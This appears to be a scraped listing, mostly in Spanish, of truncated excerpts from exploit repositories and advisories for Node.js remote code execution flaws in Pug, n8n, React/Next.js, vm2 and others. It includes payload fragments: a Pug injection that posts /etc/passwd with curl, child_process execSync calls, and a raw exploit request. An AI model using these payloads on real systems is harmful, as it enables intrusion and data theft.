PUG-RCE-CVE-2021-21353-POC

PUG-RCE CVE-2021-21353 POC Información de la vulnerabilidad Número CVE: cve-2021-21353 Puntuación CVSS: 8.1 pugversion ';=' ?pretty=';process.mainModule.constructor.load'childprocess'.exec'curl -X POST -d "$cat /etc/passwd" ';='...

CVE-2026-21858

CVE-2026-21858 + CVE-2025-68613 - Exploit RCE en n8n Cadena RCE no autenticada para n8n 1.121.0 CVSS 10.0 Cadena de ataque 1. CVE-2026-21858 - Confusión de Content-Type → leer /home/node/.n8n/config y database.sqlite 2. Extraer la clave de cifrado y las credenciales de administrador de los...

react2shell-cve-2025-55182

🚨 React2Shell - Framework de Explotación CVE-2025-55182 Framework de explotación avanzado para CVE-2025-55182 Ejecución Remota de Código en Next.js Autor: opsecramdan 📚 Tabla de Contenidos Visión General Detalles de la Vulnerabilidad Características Requisitos Instalación Uso Shell Interactivo...

CVE-2026-26720-Twenty-RCE

Twenty CRM - Ejecución Remota de Código Autenticada RCE Resumen Producto: Twenty CRM Vulnerabilidad: Ejecución Remota de Código RCE a través de Funciones Serverless de Workflows Severidad: Crítica Componente Afectado: Automatización de Workflows Código - Función Serverless Versión Probada: v1.15....

EUVD-2026-81606

vm2: NodeVM node:-prefixed negative builtin deny bypass exposes childprocess...

NPM: vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process

NPM: vm2: NodeVM node:-prefixed negative builtin deny bypass exposes childprocess vulnerability discovered by ? in WordPress Npm vm2 versions = 3.11.6...

vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process

Summary NodeVM normalizes node:-prefixed builtin specifiers during require resolution, but it does not normalize user-provided negative builtin entries in wildcard policy. As a result, this configuration: js new NodeVM require: builtin: '', '-node:childprocess' ; does not deny the canonical...

n8n-CVE-2025-68613-TryHackMe

Sala TryHackMe: n8n: CVE-2025-68613 Jugador: J4ck3LSyN Host: ... Usuario: [email protected] Contraseña: Try12345! Metodología Payload: function return this.process.mainModule.require'childprocess'.execSync'cat flag.txt'.toString Payload 2: function return...

mcp-stdio-shellguard

Part of theStudioMeyer MCP Stack — Built in Mallorca 🌴 · ⭐ if you use it mcp-stdio-shellguard Defense-in-depth bundle for MCP stdio servers. Wraps childprocess.exec/spawn with allowlist + sandbox + replay-detection, plus an AST audit CLI mcp-shellguard-audit that scans MCP server sources for...

CVE-2025-55182

CVE-2025-55182 POST /formaction HTTP/1.1 Host: localhost Content-Type: multipart/form-data; boundary=----Boundary Content-Length: 297 ------Boundary Content-Disposition: form-data; name="$ACTIONREF0" ------Boundary Content-Disposition: form-data; name="$ACTION0:0"...

CVE-2026-92957

A flaw was found in vm2. Untrusted code running within the sandbox can bypass module restriction policies to achieve arbitrary code execution on the underlying host. Due to improper normalization of module names containing the node: prefix, deny-list rules fail to prevent access to sensitive...

Malicious code in exiouss (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 43ce408818d0222061c3b6ed499d77a245aae78e30e4f57c8e6e77ee52705805 main.js in [email protected] imports childprocess and issues POST requests to hardcoded endpoints, including https://gemini.google.com and...

CVE-2025-55182-React-RSC-Exploit

CVE-2025-55182 // REACT SERVER COMPONENTS RCE VISIÓN GENERAL PoC de exploit para CVE-2025-55182. Apunta a versiones inseguras y vulnerabilidades en funciones de validación de entrada en React Server Components. MECANISMO TÉCNICO Vector : Contaminación de prototipos a través de $1:proto :then...

CVE-2025-55182-EXP

Herramienta de Explotación para CVE-2025-55182 Introducción a la Herramienta Esta herramienta está diseñada para detectar y explotar la vulnerabilidad CVE-2025-55182 presumiblemente una vulnerabilidad de ejecución de código en un framework relacionado con Next.js. Admite detección masiva de un so...

Unauthenticated-RCE-FUXA-CVE-2023-33831

RCE sin autenticación FUXA CVE-2023-33831 La vulnerabilidad afecta al componente de scripting de FUXA, debido a la falta de control o saneamiento en las entradas que pueden ser controladas por los usuarios, permitiendo así el uso de métodos peligrosos que pueden escalar a ejecución remota de...

CVE-2025-52385

CVE-2025-52385 Software : Studio 3T v.2025.1.0 Informe de vulnerabilidad : Ejecución remota de comandos en Studio 3T Descripción general Una vulnerabilidad crítica en Studio 3T versión 2025.1.0 y anteriores permite que un atacante remoto ejecute código arbitrario a través de una carga útil...

CVE-2025-55182

CVE-2025-55182.yaml PoC de CVE-2025-55182 nuclei -target url -t CVE-2025-55182.yaml Adaptado de nuclei-template Código principal: "then":"$1:proto:then","status":"resolvedmodel","reason":-1,"value":""then":"$B1337"","response":"prefix":"var...

CVE-2025-55182

CVE-2025-55182 Next.js Prototype Pollution CVE-2025-55182 es una vulnerabilidad crítica de contaminación de prototipos en nextjs que permite ejecución remota de código RCE mediante una sanitización incorrecta de entradas en el mecanismo de manejo de solicitudes del framework; todo esto ocurre...

react-ssr-vulnerability

CVE-2025-55182 - React Server Components RCE POC Este es un PoC con fines educativos y de investigación en seguridad únicamente. Esta vulnerabilidad ha sido parcheada en las últimas versiones de los paquetes afectados. Utiliza esta herramienta solo en sistemas que te pertenezcan o sobre los que...

Node_CVE-2023-29017

CVE-2023-29017 | Ejecución remota de código mediante escape de sandbox vm2 WHS 4th 31st Class - Kim Geonwoo @gunwoo105 Resumen de la vulnerabilidad vm2 es una biblioteca de sandbox para Node.js que permite ejecutar JavaScript no confiable en un entorno restringido. En condiciones normales, el...